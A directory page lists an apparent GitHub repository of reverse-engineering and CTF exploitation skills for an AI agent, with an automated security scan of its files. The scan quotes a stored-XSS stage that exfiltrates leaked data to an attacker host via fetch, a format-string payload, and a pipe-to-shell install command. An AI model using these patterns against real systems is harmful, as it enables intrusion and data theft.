Not in the top 1,000 by GitHub stars

Cristallin2006/ghidra-skill-for-dsh

Custom-built for dsh (DeepSeek Harness): persistent Ghidra headless daemon + reverse-engineering agent skills (triage/unpack/decompile/pwn/pcap/APK) with circuit breakers against agent failure loops. 为 dsh 深度定制:会熔断、能从复盘进化的逆向 skill 家族。

History

Review weekly changes to SKILL.md before updating. Dates mark the weeks in which we observed each version; checks apply to the recorded commits.

View weekly changes

android-re/SKILL.md

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Local scripts

First observation → c73ee62e65b1

No earlier version was observed for comparison.

Compare on GitHub

ghidra-core/SKILL.md

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → c73ee62e65b1

No earlier version was observed for comparison.

Compare on GitHub

ghidra-static/SKILL.md

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Instructions only

First observation → c73ee62e65b1

No earlier version was observed for comparison.

Compare on GitHub

pwn-exploit/SKILL.md

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → c73ee62e65b1

No earlier version was observed for comparison.

Compare on GitHub

re-dynamic/SKILL.md

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → c73ee62e65b1

No earlier version was observed for comparison.

Compare on GitHub

re-triage/SKILL.md

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Instructions only

First observation → c73ee62e65b1

No earlier version was observed for comparison.

Compare on GitHub

re-unpack/SKILL.md

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Local scripts

First observation → c73ee62e65b1

No earlier version was observed for comparison.

Compare on GitHub

traffic-analysis/SKILL.md

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → c73ee62e65b1

No earlier version was observed for comparison.

Compare on GitHub

vuln-audit/SKILL.md

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Instructions only

First observation → c73ee62e65b1

No earlier version was observed for comparison.

Compare on GitHub

View on GitHubAdd to my skills

Verified commit c73ee62e65b10bd8ed1415d3131f4e98de803367

11GitHub stars
0stars in 7 days
9skills in this repository
4commits in 30 days

Heat

1.4
  • Star growth, last 7 daysNot available
  • Star growth, last 24 hoursNot available
  • Rank movement, last 7 daysNot available
  • Commits, last 30 daysNot available
  • Accounts asking about it through MCP, last 7 daysNot available
  • Hot votes this weekNot available

Heat never changes the order by stars, and sponsorship never touches it. How heat works

Stars over time

Oct 25, 2026Oct 25, 202611

30-day change not yet available: not enough history.

Individual skills in this repository

How it works

android-re

When your agent uses it

Android/APK 逆向(纯 DEX / Java 层,APK reversing):APK 分诊(结构/签名/Manifest/多 dex 自有类统计/flag 全扫)、反编译与校验点定位(jadx/smali)、adb 动态驱动与真机 oracle、v1 未签名 APK 改写重签。触发:APK/Android/DEX/安卓/逆向 APK/smali/jadx。不分析原生 so——APK 内含 lib/ 的 .so 走 ghidra-static;不做流量分析——抓包/隐信道走 traffic-analysis。动手前必须先用 skill 工具加载本 skill 全文并遵守其流程;一切观察/结论用 ledger.py 落账。

What it loads into context

Frontmatter

283 tokens

Always available to the agent

SKILL.md

3,389 tokens

When the skill is activated

Reference documents

3,169 tokens

Loaded on request

Token counts are estimates. Scripts run separately; they are not counted as reference context.

The playbook

  1. 路径约定
  2. 脚本索引(`scripts/`,均包官方工具/androguard,工具缺失 exit 3 优雅降级)
  3. 流程
  4. 路由表(按分诊发现选路)
  5. References

Scripts executed separately

  • scripts/_android_tools.py
  • scripts/apk_oracle.py
  • scripts/apk_triage.py
  • scripts/axml_decompile.py
  • scripts/dex_disasm.py
  • scripts/dex_triage.py

Files

  • SKILL.mdcore10,834 bytes
  • SKILL.mdcore10,834 bytes
  • SKILL.mdcore10,834 bytes
  • SKILL.mdcore10,834 bytes
  • SKILL.mdcore10,834 bytes
  • SKILL.mdcore10,834 bytes
  • SKILL.mdcore10,834 bytes
  • SKILL.mdcore10,834 bytes
  • references/apk-triage.mddoc5,030 bytes
  • references/dalvik-notes.mddoc4,692 bytes
  • scripts/_android_tools.pyruns5,685 bytes
  • scripts/apk_oracle.pyruns22,767 bytes
  • scripts/apk_triage.pyruns16,884 bytes
  • scripts/axml_decompile.pyruns5,089 bytes
  • scripts/dex_disasm.pyruns7,413 bytes
  • scripts/dex_triage.pyruns9,599 bytes
Read SKILL.md

# Android RE(场景 7:纯 DEX APK 找校验点)

前置:re-triage(路由:APK 含 lib/ → 按 ABI 选 so 走 ghidra-static;纯 DEX → 本 skill)/后继:抠出的 so → ghidra-static;抓到的流量 → traffic-analysis;flag 候选必须过真机 oracle 正负对照后交付

> **纪律**:jadx 已装,**禁止从零自写 DEX/AXML 解析器**;万不得已自写时,结论必须与 apkanalyzer 或 androguard 逐条比对(铁律 11,全文见 ghidra-core §1)——"输出看起来合理"不构成正确性证据。同一路径失败 2 次换工具,单方向 ≤15 分钟(铁律 6,同上)。每个观察/结论走 ghidra-core `scripts/ledger.py` 落账,机制见 ghidra-core `references/evidence-ledger.md`。

## 路径约定

```bash
# Windows:
JADX="$HOME/Desktop/src/tools/jadx/bin/jadx.bat"              # jadx 1.5.6(第一反编译源)
SDK="$LOCALAPPDATA/Android/Sdk"
CT="$SDK/cmdline-tools/latest/bin"                            # apkanalyzer.bat / sdkmanager.bat / avdmanager.bat
ADB="$SDK/platform-tools/adb.exe"
View the complete source on GitHub

Skills included

  • android-re
  • ghidra-core
  • ghidra-static
  • pwn-exploit
  • re-dynamic
  • re-triage
  • re-unpack
  • traffic-analysis
  • vuln-audit

Repository facts

License
MIT
Created
Sep 13, 2026
Last pushed
Oct 11, 2026
Forks
1
Open issues
0
Project activity
Active

Before you install

Network or broad shell

Automated signals, not a guarantee

Checked Nov 4, 2026

Not fully analyzed: some files were too long, unreadable or missing. This never lowers the level.

Show 86 notes
  • android-re/SKILL.md:1 Analysis incomplete: Referenced executable target unavailable; not analyzed
  • android-re/SKILL.md:1 Analysis incomplete: Referenced executable target unavailable; not analyzed
  • android-re/SKILL.md:1 Analysis incomplete: Referenced executable target unavailable; not analyzed
  • android-re/SKILL.md:1 Analysis incomplete: Referenced executable target unavailable; not analyzed
  • android-re/SKILL.md:1 Analysis incomplete: Referenced executable target unavailable; not analyzed
  • android-re/SKILL.md:1 Analysis incomplete: Referenced executable target unavailable; not analyzed
  • android-re/SKILL.md:1 Analysis incomplete: Referenced executable target unavailable; not analyzed
  • ghidra-core/SKILL.md:64 Analysis incomplete: physical or joined line exceeds character limit
  • ghidra-core/SKILL.md:72 Analysis incomplete: physical or joined line exceeds character limit
  • ghidra-core/SKILL.md:1 Analysis incomplete: Referenced executable target unavailable; not analyzed
  • ghidra-core/SKILL.md:1 Analysis incomplete: Referenced executable target unavailable; not analyzed
  • ghidra-core/SKILL.md:1 Analysis incomplete: Referenced executable target unavailable; not analyzed
  • ghidra-core/SKILL.md:1 Analysis incomplete: Referenced executable target unavailable; not analyzed
  • ghidra-core/SKILL.md:1 Analysis incomplete: Referenced executable target unavailable; not analyzed
  • ghidra-core/SKILL.md:1 Analysis incomplete: Referenced executable target unavailable; not analyzed
  • ghidra-core/SKILL.md:1 Analysis incomplete: Referenced executable target unavailable; not analyzed
  • ghidra-core/SKILL.md:1 Analysis incomplete: Referenced executable target unavailable; not analyzed
  • ghidra-core/SKILL.md:1 Analysis incomplete: Referenced executable target unavailable; not analyzed
  • ghidra-core/SKILL.md:1 Analysis incomplete: Referenced executable target unavailable; not analyzed
  • ghidra-core/SKILL.md:1 Analysis incomplete: Referenced executable target unavailable; not analyzed
Show all 279 signals by file

android-re/scripts/_android_tools.py

  • Executable scriptline 1
    #!/usr/bin/env python
  • Access to secretsline 33
    [Credential-related source omitted]
  • Access to secretsline 36
    [Credential-related source omitted]
  • Access to secretsline 66
    [Credential-related source omitted]
  • Access to secretsline 127
    [Credential-related source omitted]
  • Access to secretsline 147
    [Credential-related source omitted]

android-re/scripts/apk_oracle.py

  • Executable scriptline 1
    #!/usr/bin/env python
  • Dangerous shell operationline 63
    def exec(self, *args: str, timeout: int = 300) -> tuple[int, str]:

android-re/scripts/apk_triage.py

  • Executable scriptline 1
    #!/usr/bin/env python
  • Network accessline 31
    ANDROID_NS = "{http://schemas.android.com/apk/res/android}"

android-re/scripts/axml_decompile.py

  • Executable scriptline 1
    #!/usr/bin/env python

android-re/scripts/dex_disasm.py

  • Executable scriptline 1
    #!/usr/bin/env python
  • Possible obfuscationline 84
    f.write(base64.b64decode(FIXTURE_CLASS_B64))

android-re/scripts/dex_triage.py

  • Executable scriptline 1
    #!/usr/bin/env python

ghidra-core/engine/VENDOR.md

  • Network accessline 3
    - **Upstream**: https://github.com/cellebrite-labs/ghidra-rpc (Cellebrite Labs)

ghidra-core/engine/ghidra-rpc/README.md

  • Network accessline 3
    An agentic skill that gives an LLM access to [Ghidra](https://ghidra-sre.org/) so
  • Network accessline 13
    Developed at **[Cellebrite Labs](https://github.com/cellebrite-labs)**.
  • Network accessline 73
    The daemon runs Ghidra in-process via [PyGhidra](https://github.com/NationalSecurityAgency/ghidra/tree/master/Ghidra/Features/PyGhidra).
  • Network accessline 74
    [PyGhidra](https://github.com/NationalSecurityAgency/ghidra/tree/master/Ghidra/Features/PyGhidra).

ghidra-core/engine/ghidra-rpc/docs/install.md

  • Network accessline 5
    1. **Ghidra** (11.0+): Download from [ghidra-sre.org](https://ghidra-sre.org/), unzip somewhere.
  • Network accessline 6
    2. **Python 3.11+**: Check with `python3 --version`. 3. **uv**: Install with `curl -LsSf https://astral.sh/uv/install.sh | sh`. 4. **Java 17+**: Required by Ghidra. Check with `java --version`.
  • Dangerous shell operationline 7
    3. **uv**: Install with `curl -LsSf https://astral.sh/uv/install.sh | sh`.
  • Network accessline 7
    3. **uv**: Install with `curl -LsSf https://astral.sh/uv/install.sh | sh`.

ghidra-core/engine/ghidra-rpc/docs/internals.md

  • Network accessline 181
    The original design was based on [pyghidra-mcp](https://github.com/clearbluejar/pyghidra-mcp).

ghidra-core/engine/ghidra-rpc/docs/troubleshooting.md

  • Dangerous shell operationline 33
    rm /tmp/ghidra-rpc-XXXXXXXX.sock

ghidra-core/engine/ghidra-rpc/ghidra_rpc/__init__.py

  • Executable scriptline 1
    Executable file

ghidra-core/engine/ghidra-rpc/ghidra_rpc/cli.py

  • Executable scriptline 1
    Executable file
  • Access to secretsline 54
    [Credential-related source omitted]
  • Access to secretsline 188
    [Credential-related source omitted]
  • Access to secretsline 189
    [Credential-related source omitted]
  • Access to secretsline 221
    [Credential-related source omitted]
  • Access to secretsline 278
    [Credential-related source omitted]
  • Access to secretsline 279
    [Credential-related source omitted]

ghidra-core/engine/ghidra-rpc/ghidra_rpc/client.py

  • Executable scriptline 1
    Executable file
  • Access to secretsline 96
    [Credential-related source omitted]
  • Access to secretsline 105
    [Credential-related source omitted]
  • Access to secretsline 106
    [Credential-related source omitted]

ghidra-core/engine/ghidra-rpc/ghidra_rpc/daemon.py

  • Executable scriptline 1
    Executable file
  • Access to secretsline 75
    [Credential-related source omitted]

ghidra-core/engine/ghidra-rpc/ghidra_rpc/server/__init__.py

  • Executable scriptline 1
    Executable file

ghidra-core/engine/ghidra-rpc/ghidra_rpc/server/_gui_launcher.py

  • Executable scriptline 1
    Executable file

ghidra-core/engine/ghidra-rpc/ghidra_rpc/server/context.py

  • Executable scriptline 1
    Executable file
  • Network accessline 213
    transaction then rolls back the whole intertwined group on the next         flush (confirmed as intended Ghidra behavior, not a bug; see         https://github.com/NationalSecurityAgency/ghidra/issues/9347).
  • Network accessline 214
    flush (confirmed as intended Ghidra behavior, not a bug; see         https://github.com/NationalSecurityAgency/ghidra/issues/9347).         Becoming our own consumer and releasing the project's makes our
  • Network accessline 215
    https://github.com/NationalSecurityAgency/ghidra/issues/9347).

ghidra-core/engine/ghidra-rpc/ghidra_rpc/server/launcher.py

  • Executable scriptline 1
    Executable file
  • Access to secretsline 17
    [Credential-related source omitted]
  • Access to secretsline 112
    [Credential-related source omitted]
  • Access to secretsline 129
    [Credential-related source omitted]
  • Access to secretsline 136
    [Credential-related source omitted]

ghidra-core/engine/ghidra-rpc/ghidra_rpc/server/main.py

  • Executable scriptline 1
    Executable file
  • Access to secretsline 47
    [Credential-related source omitted]
  • Access to secretsline 79
    [Credential-related source omitted]
  • Access to secretsline 81
    [Credential-related source omitted]
  • Access to secretsline 157
    [Credential-related source omitted]
  • Access to secretsline 176
    [Credential-related source omitted]

ghidra-core/engine/ghidra-rpc/ghidra_rpc/server/tools/__init__.py

  • Executable scriptline 1
    Executable file

ghidra-core/engine/ghidra-rpc/ghidra_rpc/server/tools/analysis.py

  • Executable scriptline 1
    Executable file

ghidra-core/engine/ghidra-rpc/ghidra_rpc/server/tools/bookmarks.py

  • Executable scriptline 1
    Executable file

ghidra-core/engine/ghidra-rpc/ghidra_rpc/server/tools/cfg.py

  • Executable scriptline 1
    Executable file

ghidra-core/engine/ghidra-rpc/ghidra_rpc/server/tools/cpp.py

  • Executable scriptline 1
    Executable file

ghidra-core/engine/ghidra-rpc/ghidra_rpc/server/tools/data_types.py

  • Executable scriptline 1
    Executable file

ghidra-core/engine/ghidra-rpc/ghidra_rpc/server/tools/decompiler.py

  • Executable scriptline 1
    Executable file

ghidra-core/engine/ghidra-rpc/ghidra_rpc/server/tools/disassembly.py

  • Executable scriptline 1
    Executable file

ghidra-core/engine/ghidra-rpc/ghidra_rpc/server/tools/dsh_tools.py

  • Executable scriptline 1
    Executable file
  • Dangerous shell operationline 104
    exec(compile(src, code_file, "exec"), namespace)

ghidra-core/engine/ghidra-rpc/ghidra_rpc/server/tools/memory.py

  • Executable scriptline 1
    Executable file

ghidra-core/engine/ghidra-rpc/ghidra_rpc/server/tools/modifications.py

  • Executable scriptline 1
    Executable file

ghidra-core/engine/ghidra-rpc/ghidra_rpc/server/tools/navigation.py

  • Executable scriptline 1
    Executable file

ghidra-core/engine/ghidra-rpc/ghidra_rpc/server/tools/processor_context.py

  • Executable scriptline 1
    Executable file

ghidra-core/engine/ghidra-rpc/ghidra_rpc/server/tools/search.py

  • Executable scriptline 1
    Executable file

ghidra-core/engine/ghidra-rpc/ghidra_rpc/server/tools/tags.py

  • Executable scriptline 1
    Executable file

ghidra-core/engine/ghidra-rpc/ghidra_rpc/server/tools/version_tracking.py

  • Executable scriptline 1
    Executable file

ghidra-core/engine/ghidra-rpc/ghidra_rpc/server/tools/xrefs.py

  • Executable scriptline 1
    Executable file
  • Dangerous shell operationline 60
    rm = pi.program.getReferenceManager()
  • Dangerous shell operationline 279
    rm = pi.program.getReferenceManager()

ghidra-core/engine/ghidra-rpc/ghidra_rpc/session.py

  • Executable scriptline 1
    Executable file
  • Access to secretsline 67
    [Credential-related source omitted]
  • Access to secretsline 153
    [Credential-related source omitted]
  • Access to secretsline 161
    [Credential-related source omitted]

ghidra-core/engine/ghidra-rpc/ghidra_rpc/transport.py

  • Executable scriptline 1
    Executable file
  • Access to secretsline 23
    [Credential-related source omitted]
  • Network accessline 54
    if not _IS_WINDOWS:         server = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM)
  • Network accessline 55
    server = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM)
  • Network accessline 60
    server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  • Network accessline 94
    if not _IS_WINDOWS:         client = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM)
  • Network accessline 95
    client = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM)
  • Network accessline 114
    client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

ghidra-core/scripts/add_comment.py

  • Executable scriptline 1
    Executable file

ghidra-core/scripts/analysis_config.py

  • Executable scriptline 1
    Executable file

ghidra-core/scripts/analyze_binary.py

  • Executable scriptline 1
    Executable file

ghidra-core/scripts/apply_c_types.py

  • Executable scriptline 1
    Executable file

ghidra-core/scripts/apply_data_type.py

  • Executable scriptline 1
    Executable file

ghidra-core/scripts/call_histogram.py

  • Executable scriptline 1
    #!/usr/bin/env python

ghidra-core/scripts/cone_invert.py

  • Executable scriptline 1
    #!/usr/bin/env python

ghidra-core/scripts/const_audit.py

  • Executable scriptline 1
    #!/usr/bin/env python

ghidra-core/scripts/const_scan.py

  • Executable scriptline 1
    #!/usr/bin/env python

ghidra-core/scripts/crypto_sanity.py

  • Executable scriptline 1
    #!/usr/bin/env python

ghidra-core/scripts/decomp_lint.py

  • Executable scriptline 1
    #!/usr/bin/env python

ghidra-core/scripts/decompile_all.py

  • Executable scriptline 1
    Executable file

ghidra-core/scripts/decompile_function.py

  • Executable scriptline 1
    Executable file

ghidra-core/scripts/doctor.py

  • Executable scriptline 1
    #!/usr/bin/env python
  • Access to secretsline 659
    [Credential-related source omitted]

ghidra-core/scripts/driver.py

  • Executable scriptline 1
    Executable file
  • Access to secretsline 56
    [Credential-related source omitted]
  • Access to secretsline 57
    [Credential-related source omitted]
  • Access to secretsline 58
    [Credential-related source omitted]
  • Access to secretsline 59
    [Credential-related source omitted]
  • Access to secretsline 61
    [Credential-related source omitted]
  • Access to secretsline 69
    [Credential-related source omitted]
  • Access to secretsline 88
    [Credential-related source omitted]
  • Access to secretsline 283
    [Credential-related source omitted]
  • Access to secretsline 304
    [Credential-related source omitted]
  • Access to secretsline 365
    [Credential-related source omitted]
  • Access to secretsline 371
    [Credential-related source omitted]
  • Access to secretsline 511
    [Credential-related source omitted]
  • Access to secretsline 512
    [Credential-related source omitted]

ghidra-core/scripts/emulate_blob.py

  • Executable scriptline 1
    #!/usr/bin/env python
  • Network accessline 196
    state["entry_unmapped"] = True         elif in_mapped(uc_.reg_read(reg_pc)):             state["stop"] = "invalid-fetch (0x%x 未映射)" % address
  • Network accessline 197
    elif in_mapped(uc_.reg_read(reg_pc)):             state["stop"] = "invalid-fetch (0x%x 未映射)" % address         else:
  • Network accessline 198
    state["stop"] = "invalid-fetch (0x%x 未映射)" % address

ghidra-core/scripts/emulate_function.py

  • Executable scriptline 1
    Executable file

ghidra-core/scripts/emulate_program.py

  • Executable scriptline 1
    #!/usr/bin/env python

ghidra-core/scripts/exec_code.py

  • Executable scriptline 1
    Executable file
  • Dangerous shell operationline 153
    exec(compile(src, code_path, "exec"), namespace)

ghidra-core/scripts/export_binary.py

  • Executable scriptline 1
    Executable file

ghidra-core/scripts/frame_map.py

  • Executable scriptline 1
    #!/usr/bin/env python

ghidra-core/scripts/get_basic_blocks.py

  • Executable scriptline 1
    Executable file

ghidra-core/scripts/get_call_graph.py

  • Executable scriptline 1
    Executable file

ghidra-core/scripts/get_data_at_address.py

  • Executable scriptline 1
    Executable file

ghidra-core/scripts/get_disassembly.py

  • Executable scriptline 1
    Executable file

ghidra-core/scripts/get_memory_map.py

  • Executable scriptline 1
    Executable file

ghidra-core/scripts/get_symbols.py

  • Executable scriptline 1
    Executable file

ghidra-core/scripts/get_xrefs.py

  • Executable scriptline 1
    Executable file

ghidra-core/scripts/guarded_run.py

  • Executable scriptline 1
    #!/usr/bin/env python3

ghidra-core/scripts/jt_resolve.py

  • Executable scriptline 1
    #!/usr/bin/env python

ghidra-core/scripts/launch_gui.py

  • Executable scriptline 1
    #!/usr/bin/env python
  • Access to secretsline 82
    [Credential-related source omitted]

ghidra-core/scripts/layer_dump.py

  • Executable scriptline 1
    #!/usr/bin/env python3

ghidra-core/scripts/ledger.py

  • Executable scriptline 1
    #!/usr/bin/env python

ghidra-core/scripts/list_classes.py

  • Executable scriptline 1
    Executable file

ghidra-core/scripts/list_functions.py

  • Executable scriptline 1
    Executable file

ghidra-core/scripts/model_diff.py

  • Executable scriptline 1
    #!/usr/bin/env python

ghidra-core/scripts/oracle_family.py

  • Executable scriptline 1
    #!/usr/bin/env python

ghidra-core/scripts/patch_bytes.py

  • Executable scriptline 1
    Executable file

ghidra-core/scripts/pe_info.py

  • Executable scriptline 1
    Executable file

ghidra-core/scripts/peel_inverse.py

  • Executable scriptline 1
    #!/usr/bin/env python

ghidra-core/scripts/read_views.py

  • Executable scriptline 1
    #!/usr/bin/env python
  • Network accessline 48
    def fetch(binary: str, addr: str, length: int) -> bytes:
  • Network accessline 113
    else int(addr_text, 16)     length = int(args[2], 0)     data = fetch(binary, addr_text, length)
  • Network accessline 114
    length = int(args[2], 0)     data = fetch(binary, addr_text, length)     actual_hex = data.hex()
  • Network accessline 115
    data = fetch(binary, addr_text, length)

ghidra-core/scripts/rename_symbol.py

  • Executable scriptline 1
    Executable file

ghidra-core/scripts/rpc_driver.py

  • Executable scriptline 1
    #!/usr/bin/env python
  • Access to secretsline 63
    [Credential-related source omitted]
  • Access to secretsline 297
    [Credential-related source omitted]
  • Access to secretsline 298
    [Credential-related source omitted]

ghidra-core/scripts/search_bytes.py

  • Executable scriptline 1
    Executable file

ghidra-core/scripts/search_strings.py

  • Executable scriptline 1
    Executable file

ghidra-core/scripts/set_analysis_options.py

  • Executable scriptline 1
    Executable file

ghidra-core/scripts/set_function_signature.py

  • Executable scriptline 1
    Executable file

ghidra-core/scripts/ssa_reconstruct.py

  • Executable scriptline 1
    #!/usr/bin/env python

ghidra-core/scripts/ssa_trace.py

  • Executable scriptline 1
    #!/usr/bin/env python

ghidra-core/scripts/triage_scan.py

  • Executable scriptline 1
    Executable file

ghidra-core/scripts/unreferenced_data.py

  • Executable scriptline 1
    Executable file
  • Access to secretsline 151
    [Credential-related source omitted]

ghidra-core/scripts/unreferenced_funcs.py

  • Executable scriptline 1
    Executable file
  • Access to secretsline 136
    [Credential-related source omitted]

ghidra-core/scripts/venv_health.py

  • Executable scriptline 1
    #!/usr/bin/env python3

ghidra-core/scripts/xor_scan.py

  • Executable scriptline 1
    #!/usr/bin/env python
  • Possible obfuscationline 48
    (b"\x55\x48\x89\xe5", "x86-64 序言 55 48 89 e5"),

ghidra-static/references/classic-crypto.md

  • Possible obfuscationline 18
    dec = base64.b64decode(ct.translate(str.maketrans(TABLE, STD)))

pwn-exploit/SKILL.md

  • Network accessline 1
    --- name: pwn-exploit description: CTF 二进制利用(pwn):栈溢出/ROP/ret2libc/SROP/格式化字符串/堆利用(tcache/House of X)/FSOP/seccomp 沙箱 ORW/内核 pwn 入门/游戏与文字冒险题(商店经济溢出·道具编辑堆原语)。触发:pwn/利用/exploit/getshell/拿到 shell/ROP/ret2libc/格式化串/堆题/tcache/canary 绕过/给了 libc 和
  • Network accessline 2
    name: pwn-exploit description: CTF 二进制利用(pwn):栈溢出/ROP/ret2libc/SROP/格式化字符串/堆利用(tcache/House of X)/FSOP/seccomp 沙箱 ORW/内核 pwn 入门/游戏与文字冒险题(商店经济溢出·道具编辑堆原语)。触发:pwn/利用/exploit/getshell/拿到 shell/ROP/ret2libc/格式化串/堆题/tcache/canary 绕过/给了 libc 和 nc 
  • Network accessline 3
    description: CTF 二进制利用(pwn):栈溢出/ROP/ret2libc/SROP/格式化字符串/堆利用(tcache/House of X)/FSOP/seccomp 沙箱 ORW/内核 pwn 入门/游戏与文字冒险题(商店经济溢出·道具编辑堆原语)。触发:pwn/利用/exploit/getshell/拿到 shell/ROP/ret2libc/格式化串/堆题/tcache/canary 绕过/给了 libc 和 nc 地址/冒险游戏菜单题。不做:程序逻辑
  • Network accessline 4
    whenToUse: 漏洞已定位(或题目明显是 pwn 配置:binary+libc+nc 地址)需要写 exp 拿 flag/shell 时;checksec 决策、ROP 链构造、libc 泄露、堆风水、seccomp ORW、内核提权入门
  • Network accessline 9
    前置:漏洞已由 vuln-audit/ghidra-static 定位,或附件是典型 pwn 配置(binary + libc.so.6 + nc 地址)/后继:拿到远程 flag 回显 → `ledger.py conclude --program-accept` 交付;「打不通、其实是程序没读懂」→ 回 ghidra-static;「洞在哪都还没确认」→ 回 vuln-audit
  • Network accessline 116
    知识来源:[ljagiello/ctf-skills ctf-pwn](https://github.com/ljagiello/ctf-skills)(MIT);`basic-chain.md` 组织结构参考 zhaoxuya520/reverse-skill(MIT)。翻译层在路由表,references 正文保留英文原文。

pwn-exploit/references/advanced-exploits-2.md

  • Network accessline 1
    > 来源:[ljagiello/ctf-skills ctf-pwn](https://github.com/ljagiello/ctf-skills/tree/main/ctf-pwn)(MIT License)——知识配方库,按需 grep 定位章节再段读,勿全文载入。中文路由索引见 ../SKILL.md §3。
  • Network accessline 480
    1. **Stored XSS via Flask `|safe`:** User messages rendered with `{{ msg.content | safe }}` bypass Jinja autoescaping. Submit `<script type="module">...</script>` via the public message endpoint 2. **Admin bot visits `/admin/messages`** fro
  • Network accessline 482
    3. **Multi-stage payloads:** Each XSS stage calls admin API endpoints via `fetch()`, exfiltrates leaks to attacker VPS, then the next stage uses computed addresses:
  • Network accessline 484
    // Stage 1: trigger heap commands, exfiltrate leak    var res = await fetch("/api/canvas/get/1");
  • Network accessline 485
    var res = await fetch("/api/canvas/get/1");
  • Network accessline 486
    var data = await res.json();    await fetch('http://attacker:5000/', {        method: 'POST', mode: 'no-cors',
  • Network accessline 487
    await fetch('http://attacker:5000/', {

pwn-exploit/references/advanced-exploits-3.md

  • Network accessline 1
    > 来源:[ljagiello/ctf-skills ctf-pwn](https://github.com/ljagiello/ctf-skills/tree/main/ctf-pwn)(MIT License)——知识配方库,按需 grep 定位章节再段读,勿全文载入。中文路由索引见 ../SKILL.md §3。
  • Network accessline 282
    sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
  • Dangerous shell operationline 408
    **Pattern (inheritance):** A service reads a secret into a file descriptor created with `memfd_create("secret", 0)` (without `MFD_CLOEXEC`), then calls `system()` to execute user-supplied commands. The `system()` function spawns a child pro
  • Dangerous shell operationline 429
    **Key insight:** `memfd_create()` without `MFD_CLOEXEC` (or `open()` without `O_CLOEXEC`) leaves file descriptors inheritable across `fork()+exec()`. Any service that reads secrets into FDs and then spawns child processes is vulnerable. The

pwn-exploit/references/advanced-exploits-4.md

  • Network accessline 1
    > 来源:[ljagiello/ctf-skills ctf-pwn](https://github.com/ljagiello/ctf-skills/tree/main/ctf-pwn)(MIT License)——知识配方库,按需 grep 定位章节再段读,勿全文载入。中文路由索引见 ../SKILL.md §3。

pwn-exploit/references/advanced-exploits-5.md

  • Network accessline 1
    > 来源:[ljagiello/ctf-skills ctf-pwn](https://github.com/ljagiello/ctf-skills/tree/main/ctf-pwn)(MIT License)——知识配方库,按需 grep 定位章节再段读,勿全文载入。中文路由索引见 ../SKILL.md §3。

pwn-exploit/references/advanced-exploits.md

  • Network accessline 1
    > 来源:[ljagiello/ctf-skills ctf-pwn](https://github.com/ljagiello/ctf-skills/tree/main/ctf-pwn)(MIT License)——知识配方库,按需 grep 定位章节再段读,勿全文载入。中文路由索引见 ../SKILL.md §3。
  • Network accessline 424
    def measure_time(host, port, guess):     """Send guess and measure server response time"""     s = socket.socket()
  • Network accessline 425
    """Send guess and measure server response time"""     s = socket.socket()     s.connect((host, port))
  • Network accessline 426
    s = socket.socket()

pwn-exploit/references/advanced.md

  • Network accessline 1
    > 来源:[ljagiello/ctf-skills ctf-pwn](https://github.com/ljagiello/ctf-skills/tree/main/ctf-pwn)(MIT License)——知识配方库,按需 grep 定位章节再段读,勿全文载入。中文路由索引见 ../SKILL.md §3。

pwn-exploit/references/field-notes.md

  • Network accessline 1
    > 来源:[ljagiello/ctf-skills ctf-pwn](https://github.com/ljagiello/ctf-skills/tree/main/ctf-pwn)(MIT License)——知识配方库,按需 grep 定位章节再段读,勿全文载入。中文路由索引见 ../SKILL.md §3。

pwn-exploit/references/format-string.md

  • Network accessline 1
    > 来源:[ljagiello/ctf-skills ctf-pwn](https://github.com/ljagiello/ctf-skills/tree/main/ctf-pwn)(MIT License)——知识配方库,按需 grep 定位章节再段读,勿全文载入。中文路由索引见 ../SKILL.md §3。
  • Network accessline 164
    **5. Cross-reference libc database:** - https://libc.rip/
  • Network accessline 165
    - https://libc.rip/
  • Network accessline 426
    # Must leak libc AND redirect exit() in one printf call # Layout: padding + dummy_addr + %leak$p + %Nc + %write$hn + padding + got_addr
  • Network accessline 427
    # Layout: padding + dummy_addr + %leak$p + %Nc + %write$hn + padding + got_addr
  • Network accessline 672
    # Leak canary at offset 6, PIE base at offset 7 r = requests.get('http://target/', headers={'User-Agent': '%6$p.%7$p'})
  • Network accessline 673
    r = requests.get('http://target/', headers={'User-Agent': '%6$p.%7$p'})
  • Possible obfuscationline 689
    fmtstr = b"%9x%11$n" + b"\x20\x20\x60\x00\x00\x00\x00\x00"

pwn-exploit/references/game-pwn.md

  • Network accessline 3
    > 判例来源:2025 强网杯 **adventure**(文字冒险游戏 ELF/C++,商店整数溢出 → 杀龙拿魔戒 → 魔戒描述指针覆写 → 任意读写 → seccomp 白名单 ORW)。 > WP:[cnblogs.com/trunk/p/19190796](https://www.cnblogs.com/trunk/p/19190796);失败 session 复盘:b781ff3c(38 min 零 exploit,两个半边事实未接线)。
  • Network accessline 4
    > WP:[cnblogs.com/trunk/p/19190796](https://www.cnblogs.com/trunk/p/19190796);失败 session 复盘:b781ff3c(38 min 零 exploit,两个半边事实未接线)。

pwn-exploit/references/heap-fsop.md

  • Network accessline 1
    > 来源:[ljagiello/ctf-skills ctf-pwn](https://github.com/ljagiello/ctf-skills/tree/main/ctf-pwn)(MIT License)——知识配方库,按需 grep 定位章节再段读,勿全文载入。中文路由索引见 ../SKILL.md §3。

pwn-exploit/references/heap-techniques-2.md

  • Network accessline 1
    > 来源:[ljagiello/ctf-skills ctf-pwn](https://github.com/ljagiello/ctf-skills/tree/main/ctf-pwn)(MIT License)——知识配方库,按需 grep 定位章节再段读,勿全文载入。中文路由索引见 ../SKILL.md §3。

pwn-exploit/references/heap-techniques.md

  • Network accessline 1
